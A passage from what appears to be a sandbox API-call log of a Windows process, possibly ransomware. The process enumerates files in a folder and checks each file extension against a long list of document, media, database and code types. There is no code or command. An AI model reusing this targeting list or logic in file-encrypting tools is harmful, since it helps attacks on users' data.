(lpString1=".divx", lpString2="a.rtf") returned -1 [0099.583] lstrlenW (lpString=".djvu") returned 5 [0099.583] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.583] lstrlenW (lpString=".dng") returned 4 [0100.002] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".doc") returned 4 [0100.003] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".docm") returned 5 [0100.003] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.003] lstrlenW (lpString=".docx") returned 5 [0100.003] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.003] lstrlenW (lpString=".dot") returned 4 [0100.003] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dotm") returned 5 [0100.003] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.003] lstrlenW (lpString=".dotx") returned 5 [0100.003] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.003] lstrlenW (lpString=".dpx") returned 4 [0100.003] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dqy") returned 4 [0100.003] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dsn") returned 4 [0100.003] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dt") returned 3 [0100.003] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.003] lstrlenW (lpString=".dtd") returned 4 [0100.003] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dwg") returned 4 [0100.003] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dwt") returned 4 [0100.003] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.003] lstrlenW (lpString=".dx") returned 3 [0100.003] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.003] lstrlenW (lpString=".dxf") returned 4 [0100.004] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".edml") returned 5 [0100.004] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.004] lstrlenW (lpString=".efd") returned 4 [0100.004] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".elf") returned 4 [0100.004] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".emf") returned 4 [0100.004] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".emz") returned 4 [0100.004] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".epf") returned 4 [0100.004] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".eps") returned 4 [0100.004] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".epsf") returned 5 [0100.004] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.004] lstrlenW (lpString=".epsp") returned 5 [0100.004] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.004] lstrlenW (lpString=".erf") returned 4 [0100.004] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".exr") returned 4 [0100.004] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".f4v") returned 4 [0100.004] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.004] lstrlenW (lpString=".fido") returned 5 [0100.004] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.004] lstrlenW (lpString=".flm") returned 4 [0100.005] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".flv") returned 4 [0100.005] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".frm") returned 4 [0100.005] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".fxg") returned 4 [0100.005] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".geo") returned 4 [0100.005] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".gif") returned 4 [0100.005] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".grs") returned 4 [0100.005] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".gz") returned 3 [0100.005] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.005] lstrlenW (lpString=".h") returned 2 [0100.005] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.005] lstrlenW (lpString=".hdr") returned 4 [0100.005] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".hpp") returned 4 [0100.005] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".hta") returned 4 [0100.005] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".htc") returned 4 [0100.005] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".htm") returned 4 [0100.005] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.005] lstrlenW (lpString=".html") returned 5 [0100.005] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.006] lstrlenW (lpString=".icb") returned 4 [0100.006] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".ics") returned 4 [0100.006] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".iff") returned 4 [0100.006] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".inc") returned 4 [0100.006] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".indd") returned 5 [0100.006] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.006] lstrlenW (lpString=".ini") returned 4 [0100.006] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".iqy") returned 4 [0100.006] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".j2c") returned 4 [0100.006] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".j2k") returned 4 [0100.006] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".java") returned 5 [0100.006] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.006] lstrlenW (lpString=".jp2") returned 4 [0100.006] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".jpc") returned 4 [0100.006] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".jpe") returned 4 [0100.006] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.006] lstrlenW (lpString=".jpeg") returned 5 [0100.006] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.007] lstrlenW (lpString=".jpf") returned 4 [0100.007] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".jpg") returned 4 [0100.007] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".jpx") returned 4 [0100.007] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".js") returned 3 [0100.007] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.007] lstrlenW (lpString=".jsf") returned 4 [0100.007] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".json") returned 5 [0100.007] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.007] lstrlenW (lpString=".jsp") returned 4 [0100.007] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".kdc") returned 4 [0100.007] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".kmz") returned 4 [0100.007] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".kwm") returned 4 [0100.007] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".lasso") returned 6 [0100.007] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.007] lstrlenW (lpString=".lbi") returned 4 [0100.007] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".lgf") returned 4 [0100.007] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.007] lstrlenW (lpString=".lgp") returned 4 [0100.007] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".log") returned 4 [0100.008] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".m1v") returned 4 [0100.008] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".m4a") returned 4 [0100.008] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".m4v") returned 4 [0100.008] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".max") returned 4 [0100.008] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".md") returned 3 [0100.008] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.008] lstrlenW (lpString=".mda") returned 4 [0100.008] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mdb") returned 4 [0100.008] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mde") returned 4 [0100.008] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mdf") returned 4 [0100.008] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mdw") returned 4 [0100.008] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mef") returned 4 [0100.008] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mft") returned 4 [0100.008] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mfw") returned 4 [0100.008] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.008] lstrlenW (lpString=".mht") returned 4 [0100.009] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mhtml") returned 6 [0100.009] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.009] lstrlenW (lpString=".mka") returned 4 [0100.009] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mkidx") returned 6 [0100.009] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.009] lstrlenW (lpString=".mkv") returned 4 [0100.009] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mos") returned 4 [0100.009] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mov") returned 4 [0100.009] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mp3") returned 4 [0100.009] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mp4") returned 4 [0100.009] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mpeg") returned 5 [0100.009] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.009] lstrlenW (lpString=".mpg") returned 4 [0100.009] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mpv") returned 4 [0100.009] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".mrw") returned 4 [0100.009] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.009] lstrlenW (lpString=".msg") returned 4 [0100.011] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.011] lstrlenW (lpString=".mxl") returned 4 [0100.012] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".myd") returned 4 [0100.012] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".myi") returned 4 [0100.012] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".nef") returned 4 [0100.012] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".nrw") returned 4 [0100.012] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".obj") returned 4 [0100.012] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".odb") returned 4 [0100.012] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".odc") returned 4 [0100.012] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".odm") returned 4 [0100.012] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".odp") returned 4 [0100.012] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".ods") returned 4 [0100.012] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".oft") returned 4 [0100.012] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".one") returned 4 [0100.012] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.012] lstrlenW (lpString=".onepkg") returned 7 [0100.012] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.012] lstrlenW (lpString=".onetoc2") returned 8 [0100.013] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.013] lstrlenW (lpString=".opt") returned 4 [0100.013] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".oqy") returned 4 [0100.013] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".orf") returned 4 [0100.013] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".p12") returned 4 [0100.013] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".p7b") returned 4 [0100.013] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".p7c") returned 4 [0100.013] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pam") returned 4 [0100.013] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pbm") returned 4 [0100.013] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pct") returned 4 [0100.013] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pcx") returned 4 [0100.013] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pdd") returned 4 [0100.013] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pdf") returned 4 [0100.013] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pdp") returned 4 [0100.013] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.013] lstrlenW (lpString=".pef") returned 4 [0100.013] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pem") returned 4 [0100.014] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pff") returned 4 [0100.014] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pfm") returned 4 [0100.014] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pfx") returned 4 [0100.014] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pgm") returned 4 [0100.014] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".php") returned 4 [0100.014] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".php3") returned 5 [0100.014] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.014] lstrlenW (lpString=".php4") returned 5 [0100.014] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.014] lstrlenW (lpString=".php5") returned 5 [0100.014] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.014] lstrlenW (lpString=".phtml") returned 6 [0100.014] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.014] lstrlenW (lpString=".pict") returned 5 [0100.014] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.014] lstrlenW (lpString=".pl") returned 3 [0100.014] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.014] lstrlenW (lpString=".pls") returned 4 [0100.014] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.014] lstrlenW (lpString=".pm") returned 3 [0100.014] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.014] lstrlenW (lpString=".png") returned 4 [0100.015] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".pnm") returned 4 [0100.015] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".pot") returned 4 [0100.015] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".potm") returned 5 [0100.015] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".potx") returned 5 [0100.015] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".ppa") returned 4 [0100.015] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".ppam") returned 5 [0100.015] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".ppm") returned 4 [0100.015] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".pps") returned 4 [0100.015] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".ppsm") returned 5 [0100.015] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".ppt") returned 4 [0100.015] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".pptm") returned 5 [0100.015] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".pptx") returned 5 [0100.015] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.015] lstrlenW (lpString=".prn") returned 4 [0100.015] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.015] lstrlenW (lpString=".ps") returned 3 [0100.016] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.016] lstrlenW (lpString=".psb") returned 4 [0100.016] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".psd") returned 4 [0100.016] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".pst") returned 4 [0100.016] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".ptx") returned 4 [0100.016] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".pub") returned 4 [0100.016] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".pwm") returned 4 [0100.016] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".pxr") returned 4 [0100.016] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".py") returned 3 [0100.016] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.016] lstrlenW (lpString=".qt") returned 3 [0100.016] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.016] lstrlenW (lpString=".r3d") returned 4 [0100.016] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".raf") returned 4 [0100.016] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.016] lstrlenW (lpString=".rar") returned 4 [0100.016] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.017] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.017] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.017] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.017] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.017] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.202] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0100.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.202] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0100.202] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50380 [0100.203] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.203] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.203] lstrlenW (lpString="eula.rtf") returned 8 [0100.203] lstrlenW (lpString=".1cd") returned 4 [0100.203] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.203] lstrlenW (lpString=".3ds") returned 4 [0100.203] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.203] lstrlenW (lpString=".3fr") returned 4 [0100.203] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.203] lstrlenW (lpString=".3g2") returned 4 [0100.203] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.203] lstrlenW (lpString=".3gp") returned 4 [0100.204] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".7z") returned 3 [0100.204] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.204] lstrlenW (lpString=".accda") returned 6 [0100.204] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".accdb") returned 6 [0100.204] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".accdc") returned 6 [0100.204] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".accde") returned 6 [0100.204] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".accdt") returned 6 [0100.204] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".accdw") returned 6 [0100.204] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.204] lstrlenW (lpString=".adb") returned 4 [0100.204] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".adp") returned 4 [0100.204] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".ai") returned 3 [0100.204] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.204] lstrlenW (lpString=".ai3") returned 4 [0100.204] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".ai4") returned 4 [0100.204] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".ai5") returned 4 [0100.204] lstrcmpiW 